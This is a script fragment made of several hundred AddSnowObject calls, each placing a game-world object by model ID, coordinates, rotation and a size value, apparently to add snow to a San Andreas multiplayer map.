AddSnowObject(5508, 2085.860, -1812.770, 13.179, 0.000, 0.000, 0.000, 152.4);
AddSnowObject(5418, 2112.939, -1797.089, 19.335, 0.000, 0.000, 0.000, 142.0);
AddSnowObject(5506, 2079.840, -1699.949, 12.460, 0.000, 0.000, -84.438, 171.7);
AddSnowObject(5528, 2101.300, -1688.770, 18.085, 0.000, 0.000, 0.000, 176.9);
AddSnowObject(5410, 2140.520, -1735.140, 15.890, 0.000, 0.000, 0.000, 136.1);
AddSnowObject(5430, 2148.949, -1791.839, 19.101, 0.000, 0.000, 0.000, 172.9);
AddSnowObject(5509, 2150.389, -1741.829, 12.445, 0.000, 0.000, 0.000, 149.3);
AddSnowObject(5513, 2200.729, -1811.339, 12.460, 0.000, 0.000, 0.000, 151.2);
AddSnowObject(5480, 2208.379, -1698.239, 13.390, 0.000, 0.000, 0.000, 165.4);
AddSnowObject(5518, 2137.979, -1672.550, 12.773, 0.000, 0.000, 0.000, 176.1);
AddSnowObject(5510, 2192.800, -1665.040, 13.734, 0.000, 0.000, 0.000, 149.3);
AddSnowObject(5391, 2148.800, -1627.130, 13.429, 0.000, 0.000, 0.000, 147.1);
AddSnowObject(5519, 2159.810, -1595.920, 12.890, 0.000, 0.000, 0.000, 158.5);
AddSnowObject(5471, 2088.110, -1568.119, 11.054, 0.000, 0.000, 0.000, 158.5);
AddSnowObject(5512, 2069.919, -1535.780, 10.492, 0.000, 0.000, 0.000, 218.9);
AddSnowObject(5496, 2120.000, -1440.000, 23.000, 0.000, 0.000, 0.000, 144.7);
AddSnowObject(5427, 2170.979, -1461.130, 25.085, 0.000, 0.000, 0.000, 174.0);
AddSnowObject(5565, 2171.449, -1448.420, 28.804, 0.000, 0.000, 0.000, 153.8);
AddSnowObject(5511, 2193.250, -1543.550, 9.703, 0.000, 0.000, 0.000, 183.7);
AddSnowObject(5440, 2207.679, -1588.390, 19.343, 0.000, 0.000, 0.000, 156.4);
AddSnowObject(5395, 2207.870, -1565.050, 13.710, 0.000, 0.000, 0.000, 165.5);
AddSnowObject(5396, 2233.750, -1590.310, 14.492, 0.000, 0.000, 0.000, 151.8);
AddSnowObject(5479, 2234.159, -1590.260, 16.664, 0.000, 0.000, 0.000, 152.3);
AddSnowObject(5394, 2240.120, -1575.380, 18.765, 0.000, 0.000, 0.000, 137.3);
AddSnowObject(5429, 2244.699, -1518.750, 22.234, 0.000, 0.000, 0.000, 133.5);
AddSnowObject(5478, 2269.090, -1487.550, 20.734, 0.000, 0.000, 0.000, 163.9);
AddSnowObject(5438, 2222.669, -1462.910, 22.789, 0.000, 0.000, -90.008, 178.1);
AddSnowObject(5428, 2252.000, -1434.140, 23.257, 0.000, 0.000, 0.000, 149.6);
AddSnowObject(13672, 1700.890, -556.539, 38.359, 0.000, 0.000, 0.000, 239.1);
AddSnowObject(13673, 1284.300, -677.421, 81.375, 0.000, 0.000, 0.000, 255.7);
AddSnowObject(13674, 1411.910, -562.968, 67.585, 0.000, 0.000, 0.000, 316.7);
AddSnowObject(791, 1293.770, -409.765, 3.476, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(13675, 116.015, -1393.339, 24.906, 0.000, 0.000, 0.000, 243.9);
AddSnowObject(13676, 78.414, -1270.489, 13.695, 0.000, 0.000, 0.000, 238.4);
AddSnowObject(13677, 92.218, -1291.660, 14.117, 0.000, 0.000, 0.000, 235.9);
AddSnowObject(13678, 223.125, -1150.969, 64.750, 0.000, 0.000, 0.000, 192.5);
AddSnowObject(13680, 295.554, -1168.800, 27.937, 0.000, 0.000, 0.000, 229.9);
AddSnowObject(13682, 522.257, -1154.199, 28.789, 0.000, 0.000, 0.000, 228.6);
AddSnowObject(13683, 339.726, -1086.430, 73.914, 0.000, 0.000, 0.000, 216.9);
AddSnowObject(13684, 495.023, -1153.199, 62.085, 0.000, 0.000, 0.000, 229.9);
AddSnowObject(13685, 428.914, -1103.670, 77.156, 0.000, 0.000, 0.000, 187.1);
AddSnowObject(13686, 553.593, -1164.530, 51.343, 0.000, 0.000, 0.000, 160.0);
AddSnowObject(13688, 689.695, -1023.000, 50.468, 0.000, 0.000, 0.000, 229.5);
AddSnowObject(13689, 567.828, -1031.400, 71.593, 0.000, 0.000, 0.000, 225.6);
AddSnowObject(13690, 135.641, -1455.689, 25.625, 0.000, 0.000, 0.000, 186.7);
AddSnowObject(13691, 258.953, -1366.199, 62.804, 0.000, 0.000, 38.378, 180.6);
AddSnowObject(13692, 252.233, -1211.930, 64.960, 0.000, 0.000, 0.000, 307.9);
AddSnowObject(13693, 560.281, -1184.900, 44.226, 0.000, 0.000, 0.000, 170.4);
AddSnowObject(13698, 650.875, -1076.079, 38.835, 0.000, 0.000, 0.000, 277.8);
AddSnowObject(13699, 596.250, -1138.010, 47.851, 0.000, 0.000, 0.000, 176.3);
AddSnowObject(13700, 536.406, -1087.239, 64.625, 0.000, 0.000, 0.000, 283.7);
AddSnowObject(13702, 696.507, -849.164, 54.882, 0.000, 0.000, 0.000, 264.7);
AddSnowObject(13703, 495.414, -957.492, 79.335, 0.000, 0.000, 0.000, 201.0);
AddSnowObject(13704, 653.585, -841.351, 39.593, 0.000, 0.000, 0.000, 265.2);
AddSnowObject(13706, 2372.030, -1056.339, 57.039, 0.000, 0.000, 0.000, 231.7);
AddSnowObject(13707, 2563.919, -1047.170, 68.171, 0.000, 0.000, 0.000, 169.6);
AddSnowObject(13708, 2778.649, -930.351, 39.132, 0.000, 0.000, 0.000, 283.4);
AddSnowObject(13709, 2856.439, -930.179, 16.148, 0.000, 0.000, 0.000, 230.2);
AddSnowObject(13710, 2523.770, -915.312, 85.328, 0.000, 0.000, 0.000, 284.5);
AddSnowObject(13711, 994.054, -841.234, 75.500, 0.000, 0.000, 0.000, 275.5);
AddSnowObject(13712, 929.679, -823.414, 100.969, 0.000, 0.000, 0.000, 133.0);
AddSnowObject(13713, 970.156, -818.523, 90.960, 0.000, 0.000, 0.000, 230.9);
AddSnowObject(13715, 1041.319, -707.453, 90.023, 0.000, 0.000, 0.000, 271.5);
AddSnowObject(13716, 849.375, -828.648, 73.562, 0.000, 0.000, 0.000, 266.2);
AddSnowObject(13717, 1161.319, -755.015, 84.804, 0.000, 0.000, 8.932, 179.7);
AddSnowObject(13718, 1063.589, -626.984, 112.210, 0.000, 0.000, 0.000, 199.3);
AddSnowObject(13719, 1437.550, -669.289, 86.812, 0.000, 0.000, 0.000, 246.0);
AddSnowObject(13720, 1192.339, -669.164, 52.328, 0.000, 0.000, 0.000, 213.4);
AddSnowObject(13723, 1496.910, -790.914, 48.679, 0.000, 0.000, 0.000, 304.7);
AddSnowObject(13726, 809.367, -778.781, 80.093, 0.000, 0.000, 0.000, 186.2);
AddSnowObject(13730, 767.570, -927.328, 48.367, 0.000, 0.000, 0.000, 240.4);
AddSnowObject(13732, 449.835, -1233.479, 33.218, 0.000, 0.000, 0.000, 181.5);
AddSnowObject(13733, 329.539, -1237.810, 62.835, 0.000, 0.000, 0.000, 164.0);
AddSnowObject(13734, 366.117, -1226.229, 58.156, 0.000, 0.000, 0.000, 200.0);
AddSnowObject(13735, 313.937, -1203.229, 74.500, 0.000, 0.000, 0.000, 176.8);
AddSnowObject(13736, 239.789, -1283.900, 61.640, 0.000, 0.000, 0.000, 155.4);
AddSnowObject(13737, 252.867, -1288.479, 64.328, 0.000, 0.000, 0.000, 167.6);
AddSnowObject(13738, 319.976, -1289.569, 52.484, 0.000, 0.000, 0.000, 183.3);
AddSnowObject(13739, 216.093, -1361.979, 49.171, 0.000, 0.000, 0.000, 159.7);
AddSnowObject(13740, 179.304, -1448.430, 28.015, 0.000, 0.000, 0.000, 209.9);
AddSnowObject(13741, 332.992, -1331.380, 32.976, 0.000, 0.000, 0.000, 216.4);
AddSnowObject(13742, 508.640, -1244.430, 40.164, 0.000, 0.000, 0.000, 209.6);
AddSnowObject(13743, 2357.739, -1066.680, 56.039, 0.000, 0.000, 0.000, 172.1);
AddSnowObject(13751, 1650.020, -559.671, 42.351, 0.000, 0.000, 0.000, 256.8);
AddSnowObject(791, 1421.089, -407.273, 33.273, 0.000, 0.000, 85.000, 162.6);
AddSnowObject(13752, 1210.699, -625.617, 78.710, 0.000, 0.000, 10.450, 160.0);
AddSnowObject(13756, 1349.300, -809.140, 68.882, 0.000, 0.000, 0.000, 296.8);
AddSnowObject(13757, 1250.800, -833.015, 63.375, 0.000, 0.000, 0.000, 211.2);
AddSnowObject(13784, 1156.859, -852.757, 49.359, 0.000, 0.000, 0.000, 182.8);
AddSnowObject(13789, 191.516, -1207.739, 52.648, 0.000, 0.000, 0.000, 310.9);
AddSnowObject(13795, 2422.120, -1093.339, 48.156, 0.000, 0.000, 0.000, 241.6);
AddSnowObject(13801, 1341.020, -839.937, 58.132, 0.000, 0.000, 0.000, 156.5);
AddSnowObject(13806, 1033.770, -666.695, 120.664, 0.000, 0.000, 0.000, 194.8);
AddSnowObject(13809, 2734.879, -917.960, 47.820, 0.000, 0.000, 0.000, 261.9);
AddSnowObject(13810, 2948.409, -951.765, -28.523, 0.000, 0.000, 0.000, 252.1);
AddSnowObject(13813, 817.734, -917.843, 54.375, 0.000, 0.000, 0.000, 159.8);
AddSnowObject(13814, 850.875, -912.804, 58.140, 0.000, 0.000, 0.000, 144.9);
AddSnowObject(13816, 1337.420, -643.265, 105.765, 0.000, 0.000, 18.908, 133.6);
AddSnowObject(13818, 1317.859, -474.101, 52.218, 0.000, 0.000, 0.000, 275.0);
AddSnowObject(791, 1802.479, -462.890, 77.164, 0.000, 0.000, 97.499, 162.6);
AddSnowObject(13820, 1701.630, -489.195, 59.695, 0.000, 0.000, 0.000, 290.6);
AddSnowObject(13821, 1530.920, -532.640, 62.984, 0.000, 0.000, 0.000, 328.1);
AddSnowObject(790, 1893.979, -678.101, 98.859, 0.000, 0.000, -129.799, 131.6);
AddSnowObject(693, 1829.849, -624.226, 80.109, 0.000, 0.000, -148.648, 133.5);
AddSnowObject(13823, 2284.010, -929.468, 88.187, 0.000, 0.000, 0.000, 293.3);
AddSnowObject(13824, 2039.819, -904.820, 79.062, 0.000, 0.000, 0.000, 278.4);
AddSnowObject(13825, 1826.089, -882.765, 75.320, 0.000, 0.000, 0.000, 278.0);
AddSnowObject(13826, 1805.020, -699.984, 69.796, 0.000, 0.000, 0.000, 235.9);
AddSnowObject(13845, 667.546, -853.203, 52.796, 0.000, 0.000, 0.000, 222.5);
AddSnowObject(13861, 570.304, -1097.770, 72.695, 0.000, 0.000, 0.000, 156.2);
AddSnowObject(13862, 359.250, -1125.829, 80.851, 0.000, 0.000, 0.000, 146.0);
AddSnowObject(13863, 201.289, -1389.410, 41.218, 0.000, 0.000, 0.000, 276.7);
AddSnowObject(13864, 273.265, -1210.849, 65.781, 0.000, 0.000, 0.000, 196.1);
AddSnowObject(13871, 415.523, -1080.000, 76.906, 0.000, 0.000, 0.000, 259.8);
AddSnowObject(13872, 587.671, -958.765, 65.351, 0.000, 0.000, 0.000, 204.9);
AddSnowObject(13882, 1376.500, -788.789, 67.085, 0.000, 0.000, 0.000, 280.3);
AddSnowObject(13887, 967.203, -715.273, 107.976, 0.000, 0.000, 0.000, 224.5);
AddSnowObject(3741, 707.640, -1064.979, 44.851, 0.000, 0.000, 60.000, 135.4);
AddSnowObject(13727, 778.617, -910.554, 48.960, 0.000, 0.000, -35.576, 131.8);
AddSnowObject(13705, 679.968, -852.609, 66.117, 0.000, 0.000, 0.000, 216.0);
AddSnowObject(13753, 992.523, -832.742, 95.304, 0.000, 0.000, 28.456, 131.0);
AddSnowObject(3763, 1045.119, -716.296, 151.132, 0.000, 0.000, -45.245, 133.9);
AddSnowObject(13805, 983.390, -678.296, 120.719, 0.000, 0.000, 29.061, 144.9);
AddSnowObject(13804, 1077.609, -651.609, 114.289, 0.000, 0.000, 144.863, 165.7);
AddSnowObject(13731, 2485.169, -1040.969, 71.773, 0.000, 0.000, 0.000, 155.5);
AddSnowObject(13725, 1100.760, -825.171, 103.469, 0.000, 0.000, 7.862, 132.0);
AddSnowObject(13724, 1254.400, -803.171, 85.960, 0.000, 0.000, 0.000, 164.7);
AddSnowObject(13744, 1272.589, -803.109, 86.359, 0.000, 0.000, 0.000, 150.3);
AddSnowObject(13722, 1413.410, -804.742, 83.437, 0.000, 0.000, 0.000, 139.8);
AddSnowObject(13831, 1413.410, -804.742, 83.437, 0.000, 0.000, 0.000, 141.5);
AddSnowObject(3763, 1459.180, -783.265, 124.390, 0.000, 0.000, -45.253, 133.9);
AddSnowObject(3741, 1443.060, -620.117, 91.148, 0.000, 0.000, 179.500, 135.4);
AddSnowObject(13721, 1535.310, -784.601, 77.812, 0.000, 0.000, 0.000, 139.4);
AddSnowObject(13679, 269.468, -1271.359, 70.929, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(13865, 299.109, -1056.979, 84.554, 0.000, 0.000, 0.000, 149.2);
AddSnowObject(13748, 370.015, -1236.780, 61.789, 0.000, 0.000, 0.000, 209.1);
AddSnowObject(13697, 553.148, -1211.520, 39.031, 0.000, 0.000, 21.686, 131.8);
AddSnowObject(3741, 496.781, -1103.770, 77.789, 0.000, 0.000, -1.999, 135.4);
AddSnowObject(3991, 1608.199, -1721.800, 26.000, 0.000, 0.000, 0.000, 176.2);
AddSnowObject(3992, 1755.599, -1782.300, 12.460, 0.000, 0.000, 0.000, 182.1);
AddSnowObject(4020, 1544.839, -1516.849, 32.453, 0.000, 0.000, 0.000, 223.2);
AddSnowObject(4107, 1360.760, -1802.250, 12.492, 0.000, 0.000, 0.000, 188.7);
AddSnowObject(4129, 1595.000, -1603.020, 27.039, 0.000, 0.000, 0.000, 163.9);
AddSnowObject(4131, 1588.449, -1509.140, 27.312, 0.000, 0.000, 0.000, 165.7);
AddSnowObject(4156, 1739.810, -1602.199, 12.453, 0.000, 0.000, 0.000, 174.6);
AddSnowObject(4163, 1469.339, -1732.290, 12.460, 0.000, 0.000, 0.000, 170.9);
AddSnowObject(4165, 1469.520, -1872.380, 12.460, 0.000, 0.000, 0.000, 171.1);
AddSnowObject(4168, 1217.449, -1852.270, 12.476, 0.000, 0.000, 0.000, 170.7);
AddSnowObject(4207, 1603.810, -1863.339, 12.460, 0.000, 0.000, 0.000, 175.2);
AddSnowObject(4230, 1597.910, -1699.750, 30.210, 0.000, 0.000, 0.000, 217.0);
AddSnowObject(4233, 1603.910, -1592.300, 12.546, 0.000, 0.000, 0.000, 165.1);
AddSnowObject(4550, 1544.569, -1355.790, 117.069, 0.000, 0.000, 0.000, 252.5);
AddSnowObject(4563, 1567.599, -1248.699, 102.523, 0.000, 0.000, 0.000, 237.3);
AddSnowObject(4585, 1451.989, -1067.400, 112.539, 0.000, 0.000, 0.000, 202.6);
AddSnowObject(4653, 1661.979, -910.812, 46.054, 0.000, 0.000, 0.000, 241.8);
AddSnowObject(4664, 1643.160, -1128.229, 41.562, 0.000, 0.000, 0.000, 187.6);
AddSnowObject(4666, 1614.680, -1024.680, 42.781, 0.000, 0.000, 0.000, 205.5);
AddSnowObject(4601, 1528.930, -1371.250, 52.437, 0.000, 0.000, 0.000, 217.3);
AddSnowObject(4554, 1548.229, -1355.369, 24.242, 0.000, 0.000, 0.000, 148.4);
AddSnowObject(4712, 1546.979, -1356.619, 14.953, 0.000, 0.000, 0.000, 164.4);
AddSnowObject(4645, 1605.729, -1370.829, 15.546, 0.000, 0.000, 0.000, 160.4);
AddSnowObject(4552, 1391.130, -1318.089, 24.664, 0.000, 0.000, 0.000, 174.1);
AddSnowObject(4551, 1410.160, -1333.390, 9.921, 0.000, 0.000, 0.000, 136.8);
AddSnowObject(4736, 1404.140, -1309.130, 43.289, 0.000, 0.000, 0.000, 162.3);
AddSnowObject(4555, 1430.849, -1340.750, 23.046, 0.000, 0.000, 0.000, 192.6);
AddSnowObject(4738, 1435.800, -1331.050, 24.554, 0.000, 0.000, 0.000, 180.3);
AddSnowObject(4647, 1454.760, -1309.130, 12.460, 0.000, 0.000, 0.000, 160.8);
AddSnowObject(4553, 1530.839, -1300.849, 15.546, 0.000, 0.000, 0.000, 166.0);
AddSnowObject(4586, 1405.119, -1191.410, 85.031, 0.000, 0.000, 0.000, 210.2);
AddSnowObject(4644, 1416.199, -1210.880, 17.593, 0.000, 0.000, 0.000, 163.1);
AddSnowObject(4570, 1496.819, -1265.949, 61.351, 0.000, 0.000, 0.000, 167.7);
AddSnowObject(4681, 1482.630, -1201.949, 33.187, 0.000, 0.000, 0.000, 160.0);
AddSnowObject(4562, 1574.589, -1248.099, 15.398, 0.000, 0.000, 0.000, 161.1);
AddSnowObject(4565, 1513.699, -1204.800, 18.500, 0.000, 0.000, 0.000, 136.9);
AddSnowObject(4685, 1572.589, -1216.500, 17.500, 0.000, 0.000, 0.000, 144.9);
AddSnowObject(4594, 1825.000, -1413.930, 12.554, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(4603, 1660.040, -1400.880, 32.820, 0.000, 0.000, 0.000, 164.2);
AddSnowObject(4714, 1754.540, -1389.089, 15.343, 0.000, 0.000, 0.000, 148.0);
AddSnowObject(4559, 1773.270, -1368.270, 18.023, 0.000, 0.000, 0.000, 179.3);
AddSnowObject(4679, 1607.880, -1324.630, 32.726, 0.000, 0.000, 0.000, 154.2);
AddSnowObject(4602, 1671.510, -1343.339, 87.539, 0.000, 0.000, 0.000, 176.7);
AddSnowObject(4557, 1714.739, -1350.880, 12.460, 0.000, 0.000, 0.000, 162.0);
AddSnowObject(4556, 1660.050, -1340.729, 15.632, 0.000, 0.000, 0.000, 152.7);
AddSnowObject(4558, 1747.439, -1361.510, 21.031, 0.000, 0.000, 0.000, 138.4);
AddSnowObject(4590, 1780.000, -1360.000, 12.000, 0.000, 0.000, 0.000, 206.0);
AddSnowObject(4737, 1610.729, -1201.369, 36.179, 0.000, 0.000, 0.000, 168.0);
AddSnowObject(4662, 1624.819, -1229.859, 34.085, 0.000, 0.000, 0.000, 166.2);
AddSnowObject(4646, 1650.839, -1300.859, 15.546, 0.000, 0.000, 0.000, 156.6);
AddSnowObject(4643, 1654.770, -1246.290, 16.171, 0.000, 0.000, 0.000, 158.8);
AddSnowObject(4564, 1666.489, -1246.180, 123.085, 0.000, 0.000, 0.000, 215.8);
AddSnowObject(4684, 1661.550, -1216.449, 16.273, 0.000, 0.000, 0.000, 143.6);
AddSnowObject(4587, 1803.089, -1294.199, 71.531, 0.000, 0.000, 0.000, 172.0);
AddSnowObject(4605, 1823.689, -1291.250, 7.312, 0.000, 0.000, 0.000, 163.4);
AddSnowObject(4589, 1780.000, -1281.000, 13.000, 0.000, 0.000, 0.000, 163.6);
AddSnowObject(4654, 1715.459, -1230.880, 18.265, 0.000, 0.000, 0.000, 161.0);
AddSnowObject(4576, 1755.140, -1230.750, 46.804, 0.000, 0.000, 0.000, 170.7);
AddSnowObject(4591, 1753.760, -1231.400, 12.445, 0.000, 0.000, 179.999, 167.5);
AddSnowObject(4592, 1798.459, -1223.459, 17.546, 0.000, 0.000, 0.000, 150.3);
AddSnowObject(4573, 1811.400, -1220.800, 32.375, 0.000, 0.000, 0.000, 146.2);
AddSnowObject(4648, 1419.680, -1150.130, 22.867, 0.000, 0.000, 0.000, 156.0);
AddSnowObject(4584, 1419.790, -1096.959, 20.062, 0.000, 0.000, 0.000, 175.0);
AddSnowObject(4572, 1449.739, -1122.770, 53.093, 0.000, 0.000, -90.572, 151.3);
AddSnowObject(4575, 1458.550, -1126.489, 56.328, 0.000, 0.000, -90.572, 139.1);
AddSnowObject(4650, 1482.250, -1097.300, 22.859, 0.000, 0.000, 0.000, 174.3);
AddSnowObject(4569, 1402.989, -1088.420, 41.328, 0.000, 0.000, 0.000, 154.1);
AddSnowObject(4649, 1425.160, -1035.260, 24.195, 0.000, 0.000, 0.000, 148.2);
AddSnowObject(4694, 1425.040, -947.828, 34.281, 0.000, 0.000, 0.000, 142.7);
AddSnowObject(4734, 1451.619, -966.382, 57.445, 0.000, 0.000, 0.000, 159.4);
AddSnowObject(4600, 1453.599, -989.484, 34.437, 0.000, 0.000, 0.000, 180.8);
AddSnowObject(4683, 1613.260, -1185.449, 29.875, 0.000, 0.000, 0.000, 156.3);
AddSnowObject(4733, 1562.040, -1183.270, 58.414, 0.000, 0.000, 0.000, 133.1);
AddSnowObject(4571, 1522.030, -1132.800, 70.812, 0.000, 0.000, 0.000, 168.8);
AddSnowObject(4652, 1539.839, -1161.739, 23.000, 0.000, 0.000, 0.000, 149.0);
AddSnowObject(4690, 1517.729, -1087.900, 32.390, 0.000, 0.000, 0.000, 187.4);
AddSnowObject(4568, 1529.910, -1096.780, 22.406, 0.000, 0.000, 0.000, 166.4);
AddSnowObject(4651, 1539.859, -1087.310, 22.726, 0.000, 0.000, 0.000, 179.5);
AddSnowObject(4660, 1507.780, -966.945, 33.835, 0.000, 0.000, 0.000, 180.9);
AddSnowObject(4703, 1569.920, -1041.079, 22.976, 0.000, 0.000, 0.000, 170.3);
AddSnowObject(4682, 1685.800, -1186.300, 33.335, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(4567, 1646.459, -1161.699, 22.867, 0.000, 0.000, 0.000, 159.5);
AddSnowObject(4595, 1634.430, -1115.530, 23.031, 0.000, 0.000, 0.000, 165.2);
AddSnowObject(4701, 1722.290, -1043.250, 23.015, 0.000, 0.000, 0.000, 168.1);
AddSnowObject(4702, 1647.339, -1033.160, 22.992, 0.000, 0.000, 0.000, 163.2);
AddSnowObject(4692, 1702.949, -1031.430, 39.695, 0.000, 0.000, 0.000, 197.3);
AddSnowObject(4656, 1693.949, -766.046, 50.007, 0.000, 0.000, 0.000, 189.3);
AddSnowObject(4710, 1762.119, -1170.890, 22.765, 0.000, 0.000, 179.999, 160.7);
AddSnowObject(4604, 1757.010, -1127.260, 23.093, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(4718, 1760.160, -1127.270, 43.664, 0.000, 0.000, 0.000, 166.9);
AddSnowObject(4593, 1847.630, -1120.099, 22.828, 0.000, 0.000, 0.000, 166.3);
AddSnowObject(4598, 1737.199, -1052.819, 23.335, 0.000, 0.000, 0.000, 160.0);
AddSnowObject(4700, 1807.280, -1049.880, 23.500, 0.000, 0.000, 0.000, 162.7);
AddSnowObject(4658, 1810.939, -1001.450, 34.093, 0.000, 0.000, 0.000, 181.6);
AddSnowObject(4695, 1898.479, -1016.679, 29.507, 0.000, 0.000, 0.000, 145.2);
AddSnowObject(4010, 1350.760, -1802.280, 12.695, 0.000, 0.000, 0.000, 166.3);
AddSnowObject(4231, 1342.050, -1800.219, 25.429, 0.000, 0.000, 0.000, 137.5);
AddSnowObject(4023, 1359.280, -1796.469, 24.343, 0.000, 0.000, 89.999, 131.8);
AddSnowObject(4170, 1433.949, -1844.410, 21.421, 0.000, 0.000, 89.999, 135.0);
AddSnowObject(4004, 1479.520, -1852.640, 24.515, 0.000, 0.000, 0.000, 152.2);
AddSnowObject(3997, 1479.339, -1802.290, 12.546, 0.000, 0.000, 0.000, 200.2);
AddSnowObject(4102, 1105.390, -1794.910, 15.242, 0.000, 0.000, 89.999, 152.1);
AddSnowObject(4103, 1104.089, -1780.910, 25.296, 0.000, 0.000, 0.000, 186.0);
AddSnowObject(4108, 1177.459, -1782.250, 12.664, 0.000, 0.000, 0.000, 161.3);
AddSnowObject(4101, 1224.699, -1782.199, 29.898, 0.000, 0.000, 0.000, 189.1);
AddSnowObject(4182, 1304.979, -1792.280, 12.460, 0.000, 0.000, 0.000, 172.1);
AddSnowObject(4112, 1330.380, -1793.079, 22.968, 0.000, 0.000, 0.000, 153.2);
AddSnowObject(4109, 1359.329, -1779.969, 9.390, 0.000, 0.000, 0.000, 158.8);
AddSnowObject(4235, 1387.030, -1715.020, 30.414, 0.000, 0.000, -0.000, 136.2);
AddSnowObject(4002, 1479.869, -1790.400, 56.023, 0.000, 0.000, 0.000, 179.0);
AddSnowObject(3980, 1481.189, -1785.069, 22.382, 0.000, 0.000, -0.000, 182.1);
AddSnowObject(3981, 1460.050, -1725.989, 9.203, 0.000, 0.000, 0.000, 145.1);
AddSnowObject(4195, 1381.589, -1698.020, 14.671, 0.000, 0.000, 0.000, 141.7);
AddSnowObject(4005, 1402.500, -1682.020, 25.546, 0.000, 0.000, 0.000, 134.7);
AddSnowObject(3978, 1380.270, -1655.540, 10.804, 0.000, 0.000, 0.000, 164.9);
AddSnowObject(4197, 1380.270, -1655.540, 10.804, 0.000, 0.000, -89.999, 134.5);
AddSnowObject(4198, 1380.270, -1655.540, 10.804, 0.000, 0.000, 0.000, 159.7);
AddSnowObject(4106, 1342.969, -1652.270, 15.203, 0.000, 0.000, 0.000, 130.1);
AddSnowObject(4011, 1334.979, -1644.189, 11.789, 0.000, 0.000, 0.000, 173.4);
AddSnowObject(4148, 1427.050, -1662.290, 12.460, 0.000, 0.000, 0.000, 160.4);
AddSnowObject(4006, 1394.359, -1620.660, 32.148, 0.000, 0.000, 0.000, 139.9);
AddSnowObject(4146, 1371.000, -1582.339, 12.453, 0.000, 0.000, 0.000, 152.5);
AddSnowObject(4113, 1345.630, -1552.959, 48.515, 0.000, 0.000, 0.000, 147.6);
AddSnowObject(4201, 1378.630, -1544.119, 13.656, 0.000, 0.000, 0.000, 136.3);
AddSnowObject(4008, 1404.910, -1539.300, 20.148, 0.000, 0.000, 0.000, 148.7);
AddSnowObject(4114, 1350.410, -1512.010, 23.046, 0.000, 0.000, 0.000, 132.2);
AddSnowObject(3977, 1384.369, -1511.439, 10.109, 0.000, 0.000, 0.000, 205.5);
AddSnowObject(4144, 1442.160, -1517.530, 12.453, 0.000, 0.000, 0.000, 169.4);
AddSnowObject(4120, 1364.199, -1491.599, 25.601, 0.000, 0.000, 0.000, 144.6);
AddSnowObject(4202, 1393.449, -1482.410, 14.882, 0.000, 0.000, 0.000, 135.6);
AddSnowObject(4007, 1421.380, -1477.599, 42.203, 0.000, 0.000, 0.000, 166.3);
AddSnowObject(4117, 1375.270, -1452.400, 23.039, 0.000, 0.000, 0.000, 144.1);
AddSnowObject(4139, 1406.170, -1418.099, 12.789, 0.000, 0.000, 0.000, 150.7);
AddSnowObject(4203, 1406.479, -1408.550, 10.046, 0.000, 0.000, 0.000, 141.6);
AddSnowObject(4186, 1479.550, -1693.140, 19.578, 0.000, 0.000, 0.000, 157.4);
AddSnowObject(3985, 1479.560, -1631.449, 12.078, 0.000, 0.000, 0.000, 156.5);
AddSnowObject(3994, 1479.550, -1592.290, 12.453, 0.000, 0.000, 0.000, 160.8);
AddSnowObject(4016, 1497.800, -1543.709, 17.554, 0.000, 0.000, 0.000, 175.7);
AddSnowObject(4142, 1494.760, -1410.880, 12.453, 0.000, 0.000, 0.000, 164.1);
AddSnowObject(4180, 1502.609, -1467.130, 24.015, 0.000, 0.000, -89.999, 149.0);
AddSnowObject(4048, 1531.630, -1852.640, 24.515, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(4209, 1569.939, -1802.290, 12.320, 0.000, 0.000, 0.000, 160.8);
AddSnowObject(3988, 1596.550, -1817.300, 21.031, 0.000, 0.000, 0.000, 150.4);
AddSnowObject(4133, 1625.089, -1834.199, 24.296, 0.000, 0.000, 0.000, 155.4);
AddSnowObject(4085, 1622.630, -1824.790, 17.492, 0.000, 0.000, -167.405, 135.8);
AddSnowObject(4122, 1629.459, -1812.290, 13.523, 0.000, 0.000, 0.000, 170.8);
AddSnowObject(4190, 1629.650, -1765.800, 15.421, 0.000, 0.000, 0.000, 154.8);
AddSnowObject(4029, 1629.550, -1756.089, 8.093, 0.000, 0.000, 0.000, 160.5);
AddSnowObject(4030, 1536.140, -1743.689, 6.710, 0.000, 0.000, 0.000, 147.8);
AddSnowObject(4032, 1568.290, -1677.780, 10.820, 0.000, 0.000, -0.000, 152.5);
AddSnowObject(4232, 1568.290, -1677.780, 10.820, 0.000, 0.000, -0.000, 145.2);
AddSnowObject(4150, 1532.050, -1662.290, 12.460, 0.000, 0.000, 0.000, 160.4);
AddSnowObject(4158, 1609.550, -1732.329, 12.468, 0.000, 0.000, 0.000, 180.6);
AddSnowObject(3975, 1578.469, -1676.420, 13.070, 0.000, 0.000, 0.000, 170.4);
AddSnowObject(3976, 1571.599, -1675.750, 35.679, 0.000, 0.000, 0.000, 157.1);
AddSnowObject(4123, 1653.479, -1826.640, 23.921, 0.000, 0.000, 0.000, 146.8);
AddSnowObject(4160, 1686.630, -1806.430, 12.460, 0.000, 0.000, 0.000, 165.4);
AddSnowObject(4014, 1664.650, -1691.319, 16.867, 0.000, 0.000, 0.000, 147.4);
AddSnowObject(3989, 1646.010, -1662.719, 8.093, 0.000, 0.000, 0.000, 169.3);
AddSnowObject(3982, 1723.560, -1788.550, 6.812, 0.000, 0.000, 0.000, 164.2);
AddSnowObject(3983, 1722.500, -1775.400, 14.515, 0.000, 0.000, 0.000, 140.4);
AddSnowObject(3986, 1719.739, -1770.780, 23.429, 0.000, 0.000, 89.999, 134.3);
AddSnowObject(4012, 1777.439, -1782.300, 12.625, 0.000, 0.000, 0.000, 152.6);
AddSnowObject(4019, 1777.839, -1773.910, 12.523, 0.000, 0.000, 0.000, 154.5);
AddSnowObject(3993, 1719.939, -1662.290, 12.468, 0.000, 0.000, 0.000, 172.3);
AddSnowObject(4141, 1721.750, -1657.930, 30.187, 0.000, 0.000, 0.000, 137.6);
AddSnowObject(3987, 1722.050, -1702.290, 12.812, 0.000, 0.000, 0.000, 137.6);
AddSnowObject(4027, 1783.099, -1702.300, 14.351, 0.000, 0.000, 0.000, 134.9);
AddSnowObject(3979, 1654.589, -1637.739, 28.640, 0.000, 0.000, 0.000, 142.2);
AddSnowObject(4013, 1654.589, -1637.739, 28.640, 0.000, 0.000, 0.000, 138.6);
